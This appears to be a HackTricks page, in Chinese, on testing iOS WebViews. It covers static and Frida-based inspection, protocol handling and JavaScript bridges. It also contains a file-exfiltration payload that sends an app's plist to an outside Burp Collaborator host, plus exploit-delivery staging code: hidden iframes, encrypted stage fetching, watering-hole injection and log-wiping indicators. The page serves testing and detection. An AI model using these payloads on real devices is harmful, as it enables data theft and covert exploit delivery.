iOS WebViews

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本页面的代码摘自 此处。请查看该页面以获取更多细节。

WebViews 类型

WebViews 在应用中用于交互式地显示网页内容。不同类型的 WebViews 为 iOS 应用提供不同的功能和安全特性。下面是简要概述:

  • UIWebView:自 iOS 12 起不再推荐使用,因为它不支持禁用 JavaScript,使其容易受到脚本注入和 Cross-Site Scripting (XSS) 攻击。

  • WKWebView:是将网页内容集成到应用中的首选,提供更好的内容控制和安全特性。JavaScript 默认启用,但可按需禁用。它还支持防止 JavaScript 自动打开窗口的功能,并确保所有内容安全加载。此外,WKWebView 的架构将内存损坏影响主应用进程的风险降到最低。

  • SFSafariViewController:在应用内提供标准化的网页浏览体验,其特征是特定的布局,包括只读地址栏、分享与导航按钮,以及用于在 Safari 中打开内容的直接链接。与 WKWebView 不同,SFSafariViewController 无法禁用 JavaScript,并且与 Safari 共享 cookies 和数据,从而对应用保持用户隐私。根据 App Store 指南,它必须以显眼方式展示。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews 配置探索总结

静态分析概述

在检查 WebViews 配置的过程中,主要关注两种类型:UIWebViewWKWebView。为了在二进制文件中识别这些 WebViews,会使用命令来搜索特定的类引用和初始化方法。

  • UIWebView 识别
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

此命令通过在 binary 中搜索与之相关的文本字符串来帮助定位 UIWebView 的实例。

  • WKWebView 识别
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

类似地,对于 WKWebView,此命令在二进制文件中搜索指示其使用的文本字符串。

此外,为了查找 WKWebView 如何被初始化,执行以下命令,针对与其初始化相关的方法签名:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript 配置验证

对于 WKWebView,除非必要,否则应禁用 JavaScript,这被视为最佳实践。通过搜索编译后的二进制可以确认 javaScriptEnabled 属性被设置为 false,以确保 JavaScript 被禁用:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

仅安全内容验证

WKWebView 提供识别 mixed content issues 的能力,与 UIWebView 不同。通过 hasOnlySecureContent 属性进行检查,以确保所有页面资源通过安全连接加载。已编译二进制中的搜索如下:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

动态分析洞察

动态分析包括检查堆(heap)中的 WebView 实例及其属性。为此使用名为 webviews_inspector.js 的脚本,目标为 UIWebViewWKWebViewSFSafariViewController 实例。它会记录找到的实例的信息,包括 URLs 以及与 JavaScript 和安全内容相关的设置。

可以使用 ObjC.choose() 对堆进行检查,以识别 WebView 实例并检查 javaScriptEnabledhasonlysecurecontent 属性。

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

该脚本以以下方式执行:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

关键结果:

  • 成功定位并检查了 WebViews 实例。
  • 验证了 JavaScript 的启用情况和安全内容设置。

本摘要概述了通过静态和动态方法分析 WebView 配置的关键步骤和命令,重点关注 JavaScript 启用等安全特性以及混合内容检测。

WebView 协议处理

在 WebViews 中处理内容是一个关键方面,尤其是涉及 http(s)://file://tel:// 等各种协议时。这些协议允许在应用中加载远程和本地内容。需要强调的是,在加载本地内容时,应采取预防措施,防止用户影响文件的名称或路径,以及防止用户编辑内容本身。

WebViews 提供不同的内容加载方法。对于已弃用的 UIWebView,会使用 loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL: 等方法。WKWebView 则使用 loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:loadRequest: 来加载网页内容。诸如 pathForResource:ofType:URLForResource:withExtension:init(contentsOf:encoding:) 等方法通常用于加载本地文件。方法 loadFileURL:allowingReadAccessToURL: 特别值得注意,因为它可以将特定 URL 或目录加载到 WebView 中,如果指定了目录,可能会暴露敏感数据。

要在源代码或已编译的二进制文件中查找这些方法,可以使用类似以下的命令:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

关于 文件访问,UIWebView 对其普遍允许,而 WKWebView 引入了 allowFileAccessFromFileURLsallowUniversalAccessFromFileURLs 设置来管理来自 file URLs 的访问,这两者默认均为 false。

下面提供了一个 Frida 脚本示例,用于检查 WKWebView 的安全配置:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最后,举例说明了一个旨在 exfiltrating local files 的 JavaScript payload,展示了配置不当的 WebViews 所带来的潜在安全风险。该 payload 在将文件内容传输到 server 之前先将其编码为 hex 格式,突显了在 WebView implementations 中实施严格安全措施的重要性。

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

通过 WebViews 暴露的原生方法

理解 iOS 中的 WebView 原生接口

从 iOS 7 开始,Apple 提供了用于 在 WebView 中的 JavaScript 与原生 Swift 或 Objective-C 对象之间通信的 API。该集成主要通过以下两种方式实现:

  • JSContext: 当在 JSContext 中将 Swift 或 Objective-C 的 block 绑定到一个标识符时,会自动创建一个 JavaScript 函数。这样可以在 JavaScript 和原生代码之间实现无缝集成与通信。
  • JSExport Protocol: 通过继承 JSExport protocol,可以将原生属性、实例方法和类方法暴露给 JavaScript。这意味着在 JavaScript 环境中所做的任何更改都会在原生环境中反映,反之亦然。但必须确保不会无意中通过此方法暴露敏感数据。

在 Objective-C 中访问 JSContext

在 Objective-C 中,可以通过以下一行代码获取 UIWebViewJSContext

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView 的通信

对于 WKWebView,无法直接访问 JSContext。取而代之的是,通过 postMessage 函数进行消息传递,使 JavaScript 与原生应用之间的通信成为可能。
这些消息的处理器按如下方式设置,从而使 JavaScript 能够安全地与原生应用交互:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

交互与测试

JavaScript 可以通过定义 script message handler 与原生层交互。这允许像从网页调用原生函数这样的操作:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

要捕获并操纵原生函数调用的结果,可以在 HTML 中覆写回调函数:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

原生端在 JavaScriptBridgeMessageHandler 类中处理 JavaScript 调用,像乘法这样的操作结果会被处理并发送回 JavaScript 以便显示或进一步操作:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

以下模式已在真实世界的 iOS Safari/WebKit exploit 交付链中被观察到,并且对分析、检测和受控模拟很有用。

Multi-stage loader via hidden iframes

一种常见的分阶段模式是设置执行门控以避免重复感染或分析,然后注入一个隐藏/屏幕外的 iframe 来加载下一阶段:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

一个最小的暂存页面可以通过 document.write() 注入主加载器:

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

加载器阶段经常同步拉取后续的 JavaScript:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

后续阶段可以通过构建 Blob URL 在类似 worker 的上下文中执行:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

强制 Safari 触及 WebKit/JSC 表面

如果受害者在另一个浏览器中打开诱饵,协议处理程序可以强制 Safari:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

加密阶段获取 (ECDH + AES)

一些加载器在传输过程中对 exploit stages 进行加密。一个最小的客户端流程是:生成一个临时的 ECDH keypair,POST base64 public key,接收加密的 blobs,派生 AES key,解密,然后解码为 JavaScript:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

被入侵的网站可以加载远程脚本,构建一个屏幕外的 iframe,并使用 sandbox 进行约束,同时仍然允许脚本执行:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Post-exploitation 反取证指标 (JS implants)

  • 临时暂存于 /tmp/<uuid>.<digits>/ 下,包含诸如 STORAGEDATATMP 的子文件夹。
  • /var/mobile/Library/Logs/CrashReporter/ 中删除崩溃日志(通常按 WebKit/SpringBoard 子字符串进行过滤)。
  • 递归删除 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/

调试 iOS WebViews

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

要有效调试 iOS webviews 中的 web 内容,需要通过 Safari 的开发者工具进行特定设置,因为发送到 console.log() 的信息不会显示在 Xcode 日志中。下面是一个简化指南,强调关键步骤和要求:

  • 在 iOS 设备上的准备: 需要在设备上启用 Safari Web Inspector。方法是前往 Settings > Safari > Advanced,并启用 Web Inspector

  • 在 macOS 设备上的准备: 在你的 macOS 开发机器上,需要在 Safari 中启用开发者工具。启动 Safari,进入 Safari > Preferences > Advanced,并勾选 Show Develop menu

  • 连接与调试: 将 iOS 设备连接到 macOS 电脑并启动应用后,在 macOS 上的 Safari 中选择要调试的 webview。到 Safari 菜单栏中的 Develop,将鼠标悬停在 iOS 设备名称上以查看 webview 实例列表,然后选择要检查的实例。将打开一个新的 Safari Web Inspector 窗口。

但请注意以下限制:

  • 该方法依赖 Safari,因此需要 macOS 设备才能进行调试。
  • 只有通过 Xcode 部署到设备上的应用中的 webviews 可以调试。通过 App Store 或 Apple Configurator 安装的应用中的 webviews 无法用此方法调试。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks